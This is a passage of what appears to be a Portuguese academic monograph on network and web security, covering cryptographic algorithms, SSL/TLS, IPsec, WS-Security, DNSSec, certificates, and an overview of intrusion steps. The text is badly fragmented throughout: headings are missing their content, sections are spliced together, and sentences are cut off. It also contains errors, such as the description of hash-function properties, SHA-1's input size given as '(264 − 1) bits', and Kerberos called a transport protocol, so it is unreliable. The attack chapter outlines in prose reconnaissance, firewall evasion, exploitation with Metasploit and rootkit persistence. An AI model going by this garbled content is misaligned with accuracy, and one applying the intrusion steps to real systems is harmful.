devem possuir comportamento semelhante ao dos cadeados citados. Entretanto, as funções ma-
temáticas necessitam ser “retiradas” na ordem inversa da maneira que foram “colocadas”, para
que a mensagem criptografada não seja alterada. O algoritmo D-H é vulnerável ao ataque “ho-
mem do meio”, e consiste na principal vulnerabilidade deste algoritmo. Esta vulnerabilidade
ocorre porque, na descrição original, o Diffie-Hellman não realiza a autenticação dos partici-
pantes. Assim, o uso do original D-H sozinho não tem a capacidade de garantir a confiabilidade
na comunicação. A correção dessa vulnerabilidade é realizada através da união com técnicas
de autenticação, tornando-o eficiente. Uma prova disso é a presença desse algoritmo na solução
de autenticação alguns importantes como: componente IKE (KAUFMAN, 2005) (Internet Key
Exchange) do IPsec (KENT; SEO, 2005) (Internet Protocol Security ); no MQV (LAW et al.,
1998) (Menezes-Qu-Vanstone) e no STS (Station-to-Station)
3.3.2.3 DSA
menor comprimento. Esta vantagem reduz a sobrecarga do processamento. O ECC é ideal para
aplicações com pequenos recursos, tais como, smart cards, dispositivos móveis e nas conexões
de rede que possuem requisitos limitados de largura de banda.
A função hash é método baseado na ideia de uma função que tem como entrada um longo
bloco arbitrário da mensagem e como saída uma única sequência de bits de comprimento fixo.
Para duas entradas distintas no algoritmo hash as respostas geradas são obrigatoriamente dis-
tintas. Em outras palavras, caso o retorno da função hash gere duas sequências de bits iguais é
que os blocos de entrada são iguais. A função hash possui propriedades importantes, segundo
Stallings (STALLINGS, 1999). Seja P e P0 respectivamente as entrada e saída da função hash,
MD(P) = P0 é efetivamente impossível encontrar P, ou seja, a função hash não é retornável. A
segunda propriedade é que este algoritmo é resistente à colisão, isto é, modificando apenas 1
bits de P a saída será totalmente diferente de P0 . Ou seja, é impossível encontrar duas entradas
diferentes que gerem a mesma saída.
3.4.1 MD5
No entanto, os autores Wang e Yu (WANG; YU, 2008) demonstram que o MD5 infringe a
propriedade de resistência à colisão. Por causa desta violação, o MD5 não é adequado para ser
usado em aplicações que trabalham com certificados e/ou assinaturas digitais. Em 1996, uma
falha foi encontrada no projeto do MD5 e apesar de não tratar-se de uma vulnerabilidade de alto
riso, os criptógrafos da época aconselhavam o uso de algoritmos alternativos, por exemplo, o
SHA-1. No entanto, em 2004, foram descobertas falhas mais graves tornando-o questionável o
seu uso para fins de segurança, de acordo com Wang e Yu. Já em 2007, um grupo de pesquisa-
dores, Lenstra (STEVENS et al., 2007) descreveram como criar um par de arquivos que geram
hashes MD5 idênticos, ou seja, demonstraram que o MD5 não é resistência à colisão.
3.4.2 MD6
3.4.3 SHA-1
O SHA-1 foi desenvolvido pela NSA (National Security Agency) e publicado como um
padrão do governo Norte-Americano. Este algoritmo tem como entrada mensagem de (264 −
1) bits de comprimento e produz como saída um hash de 160 bits. Assim como o MD5, o
SHA-1 não é considerado seguro, pois não é resistênte à colisão. O mais utilizado da família
SHA, o SHA-1 faz parte de vários protocolos e aplicações de segurança utilizado atualmente,
incluindo TLS e SSL, o PGP, SSH (Secure Shell), S/MIME(Secure / Multipurpose Internet Mail
Extensions), e IPsec.
3.4 Função Hash 45
3.4.4 SHA-2
A NIST publicou quatro funções hash adicionais na família SHA, os quais são nomeados
de acordo com o comprimento, em bits, da message digest produzido: SHA-224, SHA-256,
SHA-384, e SHA-512. Os algoritmos são coletivamente conhecido como Família SHA-2 ou
simplesmente SHA-2 (FIPS, 2002). Lançado como padrão oficial em agosto de 2002, o FIPS
PUB 180-2 (FIPS, 2002) também inclui o SHA-1. As quatros modalidades foram patenteadas
pelo governo americano como US patent 6829355, porém os Estados Unidos tem liberado a
patente somente sob uma licença livre de royalties (NEWBILL, 2007). Até o presente momento,
nenhum tipo de ataque aos membros do SHA-2 foi relatado, e com isso, segundo a NIST (NIST,
2005), as agências federais norte americana deve parar de utilizar o SHA-1 nas aplicações e irão
começar a utilizar o SHA-2 após 2010. Independentemente do propósito, a NIST incentiva os
programadores a utilizar no desenvolvimento de novas aplicações a família SHA-2.
3.4.5 SHA-3
9O Federal Register, em português “Registro Federal”, é um é o jornal oficial do governo federal dos Estados
Unidos que contém informações sobre as publicações e avisos públicos das agências governamentais.
46
4 Protocolos de Segurança
4.1 SSL
• A criptografia simétrica é utilizada para realizar a criptografia dos dados. A chave secreta
é negociada pelo protocolo na primeira fase do handshaking;
• A autenticação mútua entre o cliente e o servidor é feita por meio dos algoritmos assimé-
tricos;
Portanto,a essência do protocolo SSL é garantir que os três tipos de criptografia esteja
funcionando corretamente.
4.1.1 Objetivos
De acordo com sua especificação, os principais objetivos do protocolo SSL v3.0, em ordem
de prioridade, são:
1. Segurança criptográfica: O SSL deve ser utilizado para estabelecer uma conexão segura
entre duas entidades.
3. Extensibilidade: O SSL visa proporcionar um framework para que as novas chaves pú-
blicas e novos métodos de criptografia em massa pode ser incorporada, caso necessário.
Isto também irá realizar dois sub-objetivos: evitar a necessidade de criar um novo proto-
colo (e arriscando a introdução de possíveis novas vulnerabilidades) e evitar a necessidade
de implementar uma nova biblioteca de segurança.
Desse modo, segundo Tanenbaum (TANENBAUM, 2002), para que os objetivos descrito
acima seja realizado, uma conexão segura SSL estabelecida entre dois sockets1 , inclui: (1)
negociação de parâmetros entre o cliente e o servidor, (2) autenticação mútua entre cliente e
servidor, (3) comunicação secreta, (4) proteção da integridade dos dados.
4.1.2 Arquitetura
O SSL é projetado para atuar entre as camada TCP (Transmission Control Protocol) e a
camada de Aplicação, para proporcionar uma serviço seguro nas comunicações ponto a ponto
1 No ambiente de rede computacional, a palavra soquete é um ponto final de um fluxo de comunicação bidire-
cional entre protocolos baseados em rede de computadores.
4.1 SSL 48
A conexão e sessão são dois conceitos importantes no SSL. O primeiro é o mecanismo que
oferece o meio de transporte para as informações. As conexões são temporárias e todas estão
associadas com uma sessão. Já o segundo é uma associação entre um cliente e um servidor.
As sessões são criadas pelo protocolo Handshack para definir um conjunto de parâmetros de
segurança criptográfica, os quais podem ser compartilhados entre várias conexões. Em outras
palavras, as sessões são utilizadas para evitar o desperdício da banda ao negociar novos parâ-
metros de segurança para cada conexão.
O Record protocol é utilizado para transferir todas as informações dentro de uma sessão
SSL, desde a camada de aplicação até ao protocolo SSL. Também é usado para providenciar
dois serviços importantes de segurança:
O Charge Cipher Spec Protocol é o protocolo cujo objetivo é armazenar os métodos que es-
tão sendo usados na comunicação entre cliente e servidor, negociados pelo protocolo handshake,
para que os mecanismo de segurança utilizados estão sincronizados, ou seja, garantir que tanto
o cliente quanto o servidor estejam usando os mesmas ferramentas. Outra funcionalidade deste
protocolo é a possibilidade de modificar a sessão SSL sem ter de renegociar a conexão.
4.1 SSL 50
O Alert Protocol é usado para transmitir alertas relacionados ao uso indevido do protocolo
(encerramento inesperado da sessão por uma das extremidade da conexão, falha da comuni-
cação). Cada mensagem deste protocolo é constituído por dois bytes, sendo que o primeiro
representa o nível do alerta (valor 1 para “aviso” e 2 para “erro fatal”, ver figura 4.3b). Se o
protocolo de alerta emitir um sinal de erro fatal, a sessão será encerrada imediatamente. Caso
for emitido o sinal de aviso uma decisão será tomada para o encerramento da sessão.
4.1.3 Funcionamento
Para trocar mensagens seguras é necessário estabelecer uma conexão entre o servidor e o
cliente, para que sejam combinados quais parâmetros serão utilizados entre eles. A ilustração
4.4 representa troca de mensagens inicial para estabelecer uma conexão segura. De acordo com
Stallings, o funcionamento do SSL é representada através de quatro fases de operações.
4.1 SSL 51
Nesta fase é realizada para iniciar uma conexão entre o cliente e o servidor, e em seguida,
estabelecer infra-estrutura de segurança da comunicação. O processo é iniciado pelo cliente, por
meio do envio da mensagem cliente hello e o servidor responde com a mensagem server hello.
Estas mensagens são compostas pelo parâmetros: a versão do SSL que será utilizado, o ID da
sessão, a suíte de cifragem (cipher suite), o método de compressão e dois valores randômicos
que são gerados pelo cliente e servidor. O conjunto criptográfico (cipher suite) negociado de-
fine os algoritmos para troca de chaves, cifragem de dados e um algoritmo para inserção de
redundância nas mensagens.
Nesta fase completa a sequência de passos para criar uma conexão segura. É iniciada com o
envio da mensagem de mudança de cifras — change cipher spec — do cliente para o servidor,
com objetivo de notificá-lo de que as próximas mensagens serão enviadas utilizando os algo-
ritmos e chaves estabelecidos nas fases anteriores. Posteriormente, o cliente envia em seguida
a mensagem finished com intuito de informar o servidor que os processos de trocas de chaves
e autenticações foram bem sucedidos. Em resposta, o servidor envia a sua própria mensagem
change cipher spec, notificando que também a partir deste momento, toda a comunicação serão
codificadas de acordo os algoritmos e chaves determinados. E por último, também envia a sua
mensagem finished para também informá-lo que o estabelecimento da conexão foi finalizado.
Portanto, depois da conclusão da fase 4, o cliente e o servidor podem comunicar-se de maneira
segura através do protocolo SSL.
O SSL suporta diferentes tipos de criptografia, porém uma combinação aleatória não é per-
mitida. Assim para estabelecer uma padronização, foi definido, na especificação do protocolo,
combinações pré-estabelecidas as quais são denominadas de conjunto criptográfico (Cipher
Suites). A tabela 3 contém todas os Cipher Suites mencionados na especificação(FREIER PHI-
LIP KARLTON, 1996) do SSL.
De acordo com Barison (BARISON, 2006), dentre todos os Cipher Suites mencionados da
tabela 3, os que possuem a palavra EXPORT tem o uso limitado. Isto é, na época em que o
SSL foi proposto, o governo norte americano limitava por lei a utilização deste protocolo para
exportação, ou seja, o comprimento das chaves dos algoritmos exportáveis (que poderiam ser
utilizados em outros países) eram limitados somente para 40 bits, uma segurança relativamente
fraca. Atualmente este impasse não existe mais, segundo o (OPENSSL, 2009). Podemos obser-
var que a função hash MD5 é pouco utilizado, em relação ao SHA, por causa das descobertas
de vulnerabilidades em seu algoritmo, as quais comprometem a integridade das informações,
segundo Schneier (SCHNEIER, 2004).
4A palavra anon significa anônimo, isto é, ausência de assinatura digital
4.2 TLS 54
4.2 TLS
Em 1996, a organização Netscape Communications Corp liberou o SSL ao IETF com ob-
jetivo de estabelecer uma padronização. Assim, o resultado foi o desenvolvimento do proto-
colo TLS (Transport Layer Security), o qual a primeira versão, 1.0, é descrito no RFC 2246
(ALLEN; DIERKS, 1999) e muito similiar ao seu seu predecessor, o SSLv3. Entretanto, atual-
mente, o TLS encontra-se na versão 1.2 no RFC 5246 (RESCORLA; DIERKS, 2008) e também
é conhecido como: TLS1 ou ainda SSL3.1. Dessa maneira, o principal objetivo principal do
protocolo TLS é proporcionar privacidade e integridade dos dados entre a comunicação entre
as aplicações e a Internet e, automaticamente, tornar-se o sucessor do SSL. Por outro lado, o
funcionamento, os objetivos e os detalhes técnicos do TLS são semelhantes aos estudados no
SSL.
novos conjuntos de algoritmos que usam a função hash SHA-256, e a remoção dos que utilizam
as cifras simétricas IDEA e o DES, pois foram considerados ultrapasados. Veja a tabela 4.
1999). Enquanto o SSL utiliza o cálculo MAC propriamente dito, o TLS usa o algoritmo HMAC
(KeyedHashing for Message Authentication Code) definido no RFC 2104 (KRAWCZYK et al.,
1997). A diferença entre eles é que o MAC é gerado por meio de algoritmos simétricos (e.g.,
DES ou AES) e o HMAC atráves de qualquer funções hashes. No entanto, o HMAC proporci-
ona a vantagem de realizar as operações de forma rápida, e ainda garantindo, indiretamente, a
possibilidade de aumentar segurança das informações sem reduzir o desempenho da aplicação.
E por último, alguns Cipher Suites do TLS v1.2 possui algoritmos mais recentes e menos
defasados (e.g., o AES em vez do DES, o SHA-2 no lugar do SHA-1) em relação ao SSL v3.
Veja as respectivas tabelas 3 e 4 para maiores detalhes.
De acordo com a ilustração 4.1, a posição do SSL na pilha de protocolos favorece a garantia
de uma conexão segurança para os protocolos da camada de aplicações. Dentre as principais
integrações com o SSL temos o HTTPS (HyperText Transfer Protocol Secure).
4.3.1 HTTPS
4.4 IPsec
O IPsec oference uma proteção nativa para todos os protocolos que estão acima da camada
de rede (camada 3) do modelo OSI incluindo o próprio protocolo IP, de acordo com Tenenbaum
(TANENBAUM, 2002). Assim todos os pacotes já saem protegidos da sua origem, indepen-
dente da aplicação que a gerou. O processo é transparente para qualquer aplicação pois, até
então, a a camada de aplicação era responsável pela própria segurança. O IPsec é descrito na
especificação RFC 4301 (KENT; SEO, 2005), porém com auxílio de muitas outras padroniza-
ções, das quais, as mais importantes são: RFC 4302 (KENT, 2005), RFC 4306 (KAUFMAN,
2005) E RFC 4308 (HOFFMAN, 2005).
4.4.1 Serviços
O WS-Security Framework, segundo Erl (ERL, 2008), estabelece uma especificação de se-
gurança para a camada de aplicação, também conhecido como segurança no nível de mensagem.
Assim, antes de apresentar o estudo desta ferramenta vamos realizar um breve comentário sobre
as entidades que se benefeciam desta proteção: SOAP e WEB Services.
guagem de programação. Estes serviços comunicam-se por meio do protocolo SOAP (Simple
Object Access Protocol), que está se tornando o padrão para a troca de mensagens entre aplica-
ções e WEB Services. O SOAP prioriza a interoperabilidade e intercomunicação entre diferentes
sistemas de um ambiente distribuído, através do uso da linguagem XML e do mecanismo de
transporte HTTP. O principal objetivo do SOAP é fazer com que os recursos disponibilizados
estejam disponíveis sobre a rede de uma maneira normalizada. Atualmente, este protocolo é
definido pelo consórcio W3C e está na versão 1.2 (GUDGIN et al., 2007).
A ilustração 4.7 demonstra um típico cenário onde temos um cliente acessando uma apli-
cação no servidor pela Internet. Esta, por sua vez, realiza comunicação via SOAP com vários
WEB Services posicionado na Internet. Para finalizar, a aplicação WEB faz análise das mensa-
gens SOAP e, por fim, envia uma resposta ao cliente.
Fig. 4.7: Cenário de uma aplicação que depende da comunicação com diversos WEB Services
4.5.2 WS-Security
Conhecido também como segurança no nível de mensagem, o WS-Security pode ser apli-
cados em toda a mensagem ou em partes selecionadas, com objetivo de utilizar várias camadas
de criptografia e/ou autenticação para controlar quais informações estarão acessíveis para cada
participante em uma troca de mensagens envolvendo diversos sistemas. Isto significa que os
intermediários conseguirão visualizar as partes da mensagem destinadas apenas à eles. Final-
mente, a mensagem protegida pode ser enviada através de vários protocolos diferentes (HTML,
SMTP, FTP e TCP) pois as informações confidenciais estão seguras na mensagem, ou seja, a
segurança não depende do canal da comunicação. Logo, a segurança é oferecida no próprio
protocolo de troca de mensagens – SOAP.
O framework WS-Security é ainda auxiliado por uma série de normas complementares, di-
vididos em duas camada: sendo a primeira composta pelos padrões: WS-Policy, WS-Trust, WS-
Privacy e a segunda: WS-Secure Conversation, WS-Federation, WS-Authorization. Segundo
Erl (ERL, 2008), a primeira é frequentemente referida como a “Camada de Política”, pois for-
nece informações para estabelecer as políticas de confiança e de privacidade. Já, a segunda,
é conhecida como a “Camada de Federação”, pois é baseada nas políticas com o objetivo de
unificar a confiança entre diferentes domínios. A palavra “política”, neste contexto, possui um
significado amplo, porque engloba uma série de medidas de segurança entre: confiabilidade,
transações e privacidade. Já a federação é uma coleção de domínios de segurança que estabe-
lece relações entre as entidades para compartilhar os recursos de uma maneira segura, segundo
8O SAML (Security Assertion Markup Language) é um padrão, baseado em XML, de autenticação e autoriza-
ção para o troca de dados entre os domínios da segurança, isto é, entre um provedor de identidade e um fornecedor
de serviços.
9 O Kerberos é um protocolo de transporte de rede, que permite comunicações individuais seguras e identifica-
das, em uma rede insegura. Utiliza criptografia simétria e previne ataques Eavesdropping e Replay.
10 O SPML, acrônimo inglês para Service Provisioning Markup Language, é um framework baseado em XML,
sendo desenvolvido pela OASIS, para troca de usuários, recursos, informações entre organizações.
11 O XKMS (XML Key Management Specification) , utiliza os serviços da WEB para tornar mais fácil para os
desenvolvedores utilizar a inter-comunicação entre as aplicações por meio da infra-estrutura de chaves públicas
(PKI)
4.6 SSL/TLS ou WS-Security para mensagens SOAP 61
A camada de segurança nas aplicações WEB pode ocorrer em duas maneiras: na camada de
transporte (rede) ou na camada de aplicação (mensagem). Entretanto, geralmente quando uma
aplicação WEB precisa de segurança a primeira tecnologia mencionada é o SSL/TLS. Estes,
sem dúvida, são conjuntos de ferramentas que garante uma proteção de informações em nível
de rede com eficiência. Todavia, dependendo do ambiente da aplicação, o uso do SSL/TLS nem
sempre consegue garantir a segurança da comunicação.
Através de uma análise mais detalhada em uma comunicação SSL/TLS entre dois com-
putadores, a informação é criptografada enquanto a mensagem trafega na rede, ou seja, entre
o cliente e o servidor. Depois que o dado chega no servidor, este é descriptografado e, caso
necessário, é repassado para algum serviço desejado. No entanto, caso a repassagem ocorra, a
mensagem não é re-criptografada. Portanto, a partir daquela decodificação, a informação trafega
legivelmente na rede. Enfim o SSL/TLS irá proteger a privacidade do conteúdo da mensagem
somente enquanto estiver sendo transmitida. Em outras palavras, a segurança na camada de
transporte não protege as mensagens durante o tempo que estão sendo analisádas pelos serviços
intermediários. Assim, o SSL/TLS garante somente a segurança em comunicações denomina-
das ponto a ponto (ver figura 4.9). O WS-Security resolve este problema mantendo a integridade
e confidencialidade dos dados em todos os estágios da comunicação. Isto é, o WSS expande a
segurança nos locais onde o SSL/TLS não protege e tem o objetivo de oferecer um modelo de
segurança para as comunicações conhecidas como fim a fim (ver figura 4.10).
4.7 DNSSec 62
4.7 DNSSec
O objetivo do servidor DNS é traduzir “nomes” para os respectivos “endereços IP” e “en-
dereços IP” para os respectivos “nomes”. Este processo é chamado de resolução do nome ou
resolução do domínio. A estrutura hierárquica da resolução do domínio, no qual um DNS
aponta para outro DNS, possui uma vulnerabilidade de segurança. Uma situação hipotética se-
ria: um usuário poderia solicitar o endereço eletrônico do Banco do Brasil (www.bb.com.br) e
por engano o servidor DNS responderia o endereço do banco da HSBC (www.hsbc.com.br). E
no pior caso seria o servidor DNS responder para um site phishing12 , o qual iria simular o site
do Banco do Brasil.
processo é baseado na assinatura digital com o uso da criptografia de chave pública. O DNSSec
realiza a autenticação dos pacotes DNS e assegura-os para que sejam autênticos e íntegros, se-
gundo Friedlander (FRIEDLANDER et al., 2007). No entanto, de acordo com Ballani e Francis
(BALLANI; FRANCIS, 2008), o DNSSec não fornece a confidencialidade dos dados, ou seja,
todos os pacotes DNSSec são autenticados mas não cripgrafado. Dessa maneira, DNSSec não
protege contra os ataques DoS (denial of service).
4.8 DNSCurve
5 Identificação Digital
Diariamente muitos usuários utilizam meios como: assinaturas à caneta, carimbos, selos,
registro de identificação, reconhecimento de firma, simplesmente com o objetivo de confirmar a
autenticidade de documentos, declarar alguma responsabilidade, ou até mesmo, comprovar uma
identificação de pessoa física ou pessoa jurídica. Atualmente, graças à informatização, a maioria
dessas atividades pode ser realizada através da Internet. Assim, é neste exato momento que entra
em cena a identificação digital e conceitos relacionados, como por exemplo, a assinatura digital.
Uma assinatura digital válida fornece ao destinatário uma razão para acreditar que a men-
sagem foi criada por um remetente conhecido, e também, que a mesma não sofreu alterações
em trânsito. Em outras palavras, a assinatura digital dispõe uma prova inegável de que uma
mensagem foi realmente emitida pelo dono da assinatura, ou seja, o emissor. Para que todas
5.2 Gerenciamentos de Chaves Públicas 65
as vantagens descritas acima se tornem possíveis, é necessário que a assinatura digital tenha
a obrigação de cumprir as seguintes propriedades: autenticidade, integridade e não repúdio,
segundo Tenenbaum (TANENBAUM, 2002).
Uma importante observação é que a assinatura digital não garante a confidencialidade. Isto
é, a mensagem enviada é segura contra alterações, porém não contra a técnica de eavesdrop-
ping1 . Isto ocorre nos casos em que apenas uma porção da mensagem é utilizada para a assina-
tura digital, pois o restante da mensagem é transmitido em texto não criptografado. Entretanto,
mesmo nos casos onde a assinatura digital é aplicada em toda a mensagem, também não existe
a proteção da confidencialidade, pois qualquer observador poderá decifrá-la utilizando a chave
pública do emissor.
Fig. 5.1: Aplicando assinatura digital. (1) Calculando hash. (2) Encriptando o hash gerado. (3)
Anexando o hash criptografado na mensagem
Fig. 5.2: Verificando a assinatura digital. (4) Destinatário recebe a mensagem assinada. (5)
Cálculo do novo hash. (6) Descriptografia da assinatura. (7) Comparação dos hashes gerados.
Entretanto, existe um sério problema que ainda não discutimos: Como iniciar a comunica-
ção segura entre duas entidades desconhecidas?. Em outras palavras: Como realizar a troca
das chaves públicas, de forma segura, antes de iniciar o processo de comunicação?. Uma so-
lução óbvia para este caso, seria simplesmente disponibilizar as chaves públicas das entidades
na Internet – o único local em comum e de acesso público para os indivíduos em questão. No
entanto, esta solução torna-se inviável pela existência do ataque man-in-the-middle – “homem
do meio” (Melhores detalhes no capítulo 6). Segundo Stallings (STALLINGS, 2006), um dos
principais papéis da criptografia de chave pública é resolver o problema da distribuição das cha-
ves, tanto da pública quanto da privada. Com isso é necessário que haja um método a troca das
5.2 Gerenciamentos de Chaves Públicas 67
chaves públicas com segurança (certificado digital), antes de iniciar uma comunicação.
O certificado digital é uma credencial o qual possui a finalidade de identificar uma entidade
(pessoa jurídica, pessoa física, computadores, aplicação WEB), para comprovar a sua identidade
com o intuíto de assegurar as transações eletrônicas. Também conhecido como certificado de
identidade ou certificado de chave pública, o certificado digital é basicamente um documento
eletrônico que utiliza a assinatura digital para vincular uma chave pública a uma entidade. Re-
sumidamente, o certificado de identidade garante a autenticidade de autoria na relação existente
entre a chave pública e a entidade.
Inicialmente, uma das primeiras soluções para resolver o problema da permuta das chaves
públicas, segundo Tenenbaum (TANENBAUM, 2002), foi originar um centro de distribuição de
chaves disponível 24 horas por dia para providenciar as devidas chaves públicas sob demanda.
Entretanto, um dos principais problemas é a característica da escalabilidade2 , pois em algum
determinado tempo poderia ocorrer um “gargalo” no centro de distribuição, e assim, caso ocorra
alguma falha, se tornaria automaticamente indisponível, e portanto, o estabelecimento de uma
comunicação segura iria tornar-se inesperadamente inexequível.
Desse modo, a solução final para esse problema foi então, redirecionada para uma organi-
zação denominada autoridade certificadora – AC (do inglês Certification Authority – CA), a
qual é definida como um terceiro confiável e responsável pelo gerenciamento de certificados.
No mundo real, uma credencial de identificação (Cadastro de Pessoas Físicas – CPF, Carteira
de Motorista, Carteira de Identidade – RG, Passaporte) será genuína em qualquer órgão pú-
blico ou privado, se a mesma foi devidamente emitida por um órgão habilitado pelo governo.
Analogicamente, esta mesma situação acontece no mundo virtual, isto é deve-se confiar apenas
nos certificados digitais emitidos por Autoridades Certificadoras de confiança (por exemplo,
CertiSign (DIGITAL, 2009), VeriSign (VERISIGN, 2009)).
Os certificados digitais possuem um padrão, definido pela ITU-T, conhecido como X.509,
que atualmente se encontra na versão 3. Basicamente um certificado no padrão X.509 é com-
posto pelas seguintes informações do proprietário: chave pública, nome e endereço de e-mail, a
validade da chave pública, nome e endereço da Autoridade Certificadora que o emitiu, número
de série do Certificado Digital e assinatura digital da AC.
Dessa maneira, retornando ao problema inicial, agora temos duas entidades hipotéticas, A e
B, sendo que A deseja realizar uma comunicação segura com B. Sendo assim, o primeiro passo
da solução seria que B gerasse um certificado digital através de uma Autoridade Certificadora
de confiança. Basicamente, a AC iria assinar digitalmente a chave pública de B, de modo que a
utilização ou a falsificação dessa chave seria evitada. Posteriormente, a entidade B enviaria seu
certificado para a entidade A, e após uma análise e a confirmação da assinatura digital da AC,
A concluiria que a AC é confiável. Portanto, A retiraria do certificado a chave pública de B, e
a partir desta, criptografaria todas as informações que serão remetidas ao dono da chave. Deste
ponto em diante, somente a chave privada do destinatário pode decriptografar os dados, ou seja,
apenas B poderá ler o conteúdo da mensagem. Portanto, a comunicação é realmente segura.
69
6 Os Ataques
Há a necessidade de ressaltar que não existe na prática uma técnica passo a passo para
realizar uma invasão bem sucedida. O que existe são táticas e estratégias realizadas de forma
inteligente, isto é, de modo planejado. Por outro lado, os ataques de rede estão em constante
evolução, e assim, a cada dia são descobertas novas vulnerabilidades e consequentemente sur-
gem formas de praticar ataques. Esse ciclo induz à desatualização da segurança. Enfim, vamos
apresentar uma introdução às estratégias preferidas dos invasores da última geração. Outra im-
portante consideração é que alguns logs de redes são abandonados e provavelmenet não estão
recebendo as mínimas correções de segurança necessárias.
Os invasores procuram detalhes técnicos, como a localização dos servidores DNS e a com-
petência dos técnicos de segurança da empresa. Isto é, se uma organização for incapaz de con-
figurar seu DNS corretamente, é bem provável que a segurança não terá qualidade o suficiente.
6.2 Passo 2: Verificar a segurança da Rede 70
Para realizar tal proposto, existem outras ferramentas como: nslookup, dig (Domain Informa-
tion Groper) e host. Estes são simplesmente comandos úteis que permitem a interrogação do
DNS pela, e ainda, o teste da configuração do DNS da vítima.
Enfim, o DNS é o primeiro serviço examinado pelo invasor, pois este é uma fonte de infor-
mações de algum domínio, além da possibilidade de tirar conclusões sobre a topologia da rede
alvo. Entretanto, a visualização da configuração do DNS é erroneamente utilizada nas práticas
ilícitas por terceiros mal intencionados. Então, o que acontece depois que o invasor descobre
onde a aplicação reside?
Objetivo deste passo é fundamentado na seguinte questão: “Como detectar tais dispositivos
e contornar suas medidas de proteção?”. Ou seja, é neste momento que o invasor irá testar toda
a segurança do alvo, desde a proteção do domínio (DNS) até a aplicação propriamente dita.
Como por exemplo, se o site usar o DNS para o balanceamento de carga, ferramentas como o
dig os mostrarão com facilidade. Isto é, se no momento da verificação o invasor detectar que o
IP do DNS se altera com frequência, provavelmente há um balanceamento de carga por DNS.
Existem também a ferramenta Nmap (LYON, 2008) um scanner de vulnerabilidade que realiza a
verificação de portas abertas do alvo, muito utilizado para avaliar a segurança dos computadores
e descobrir serviços ou servidores ativos na rede.
Já na detecção de firewall e WAF basta verificar a existência destes mecanismos por meio
de algum ataque simples, isto é, através de um ataque realizado por meio de uma máquina
remota ou atrás de um proxy anônimo, como o Tor3 (APPELBAUM et al., 2009), e verificar
a continuidade da conexão. Assim, caso a conexão seja interrompida imediatamente ou se as
tentativas subsequentes de conexões forem bloqueadas é porque existem os dispositivos citados.
s Assim, no caso de um balanceador de cargas, baseado em DNS, basta utilizar o endereço IP
no lugar do nome DNS em algum ataque, que irá garantir que todos os ataques serão enviados
para o mesmo sistema. Como geralemente os firewalls, IPS e WAF autorizam os tráfegos de
pacotes de e-mail e WEB, o contorno da segurança ocorre porque as maiorias das vítimas não
bloqueiam ou baixam a sensibilidade da segurança deste tráfego legítimo, isto é, na porta 80
para HTTP e na porta 25 para SMTP.
A maioria dos ataques é realizada através da porta padrão de comunicação — a porta 80.
Dessa maneira, para realizar os métodos descritos acima, o atacante busca servidores vulne-
ráveis através de ferramentas específicas como Nmap4 (LYON, 2008) ou Nessus5 (NESSUS,
2008) . Em seguida, ataca-os utilizando ferramentas auxiliares como: código exploits6 ou tool-
kits (por exemplo, Metasploit Framework 7 (METASPLOIT, 2008)). Com a exploração dessas
vulnerabilidades os invasores conseguem acesso de administrador, ou seja, acesso sem restri-
3 TOR é uma rede de computadores distribuída com o objetivo de oferecer meios de comunicação anônima na
Internet.
4 O Nmap possui novo método de scripts para examinar vulnerabilidades de segurança automaticamente de um
domínio
5 o Nessus é também software de verificação de falhas e vulnerabilidades de segurança
6 Um exploit é um software composto por informações maliciosas ou/e sequência de comandos que aproveita
ções, com isso, podem executar na vítima códigos hostis, roubar informações e apagar dados.
Se o invasor conseguiu chegar até aqui, significa que conseguiu comprometer um servidor,
executar um ataque local e ganhar o acesso com privilégio no sistema. Geralmente, é neste
momento que a maioria dos invasores instalam um rootkit8 para manter o acesso ativo e realizar
outra invasão posterior. Um atacante pode usar um rootkit para substituir arquivos executáveis
do sistema operacional para esconder processos e arquivos instalados por terceiros. Com acesso
aos sistemas internos, o invasor consegue acessar qualquer informação ou executar qualquer tipo
software, ou seja, contorna as proteções de segurança configuradas interna ou externamente à
rede. O agressor pode utilizar botnet9 para atacar outras máquinas e redes, enviar spam e coletar
informações pessoais da empresa. Isto é, “lá dentro”, as possibilidades são infinitas.
Inicialmente, as páginas WEB e os e-mails eram compostos basicamente por texto estáticos
com formatação mínima e raramente continham conteúdos executáveis, hoje este cenário é
oposto. Com a introdução da WEB 2.0 e com aperfeiçoamento dos e-mails estes mecanismos
passaram a suportar várias tecnologias executáveis, bem como o famoso JavaScript. Ou seja,
ao mesmo tempo em que houve melhorias no ambiente WEB surgiram novos meios de ataques.
O ataque de força bruta (brute force) é um dos mecanismos mais rústicos para tentar realizar
uma invasão. Muitos hackers consideram esse tipo de ataque um ato de grosseria e não uma
técnica. Os ataques de força bruta são ferramentas automatizadas que simplesmente “saturam”
a vítima com uma grande variedade de informações comuns, como por exemplo, adivinhar a
senha do administrador através das combinações das palavras de um dicionário (criado pelo
próprio invasor e baseado nas informações obtidas do alvo). Assim, o conceito dessa invasão é,
portanto, baseado no processo de tentativa e erro. Exemplos de softwares famosos são: Hydra
(HAUSER, 2006) e o John The Ripper10 (PESLYAK, 2006).
8 Um rootkit é um sistema de software que consiste em um ou mais programas concebidos para obscurecer o
fato de que um sistema foi comprometido
9 Botnet é uma coleção de softwares robôs, ou bots, que são executados automaticamente e de forma autônoma.
10 John the Ripper é um software para quebra de senhas e também consegue identificar automaticamente qual é
o algoritmo de criptografia que foi utilizado para cifrá-las, por exemplo, em DES, MD4 e MD5.
6.5 Exemplos de Ataques Conhecidos 73
Esse ataque é possível pois alguns tipos de comunicações não realizam a autenticação de
seus membros, possibilitando que qualquer indivíduo possa participar da comunicação. Basica-
mente, o que ocorre é a facilidade de alguém interceptar a mensagem de A para B, em seguida,
modifica-a e depois a reenvia para B, porém com alguns dados modificados. Atualmente, a mai-
oria dos protocolos criptográficos inclui alguma forma de autenticação das extremidades espe-
cificamente para evitar ataques MITM. Por exemplo, SSL autentica o servidor usando uma au-
toridade de certificação mutuamente confiável. Exemplos de algumas ferramentas que usam os
conceitos MITM: Cain and Abel11 (MONTORO, 2009) e Ettercap12 (ORNAGHI; ORNAGHI,
2005).
de segurança.
6.5 Exemplos de Ataques Conhecidos 74
6.5.3.1 XSS
O ataque XSS, também conhecido como CSS (Cross Site Scripting), é uma vulnerabilidade
frequentemente encontrada nos aplicativos WEB. O XSS é um exemplo perfeito do motivo pelo
qual jamais se deve mesclar dados e códigos em um único objeto. Inicialmente, o HTML era
uma linguagem simples e estática que tornava a WEB monótona. Hoje, graças as linguagens
como o JavaScript da Sun e ActiveScript e ActiveX da Microsoft, a WEB tornou-se dinâmica.
Porém, o grande problema é que atualmente os browser não tem como distinguir qual código
JavaScript, presente na página WEB, deve ou ser executado, como também, se é malicioso
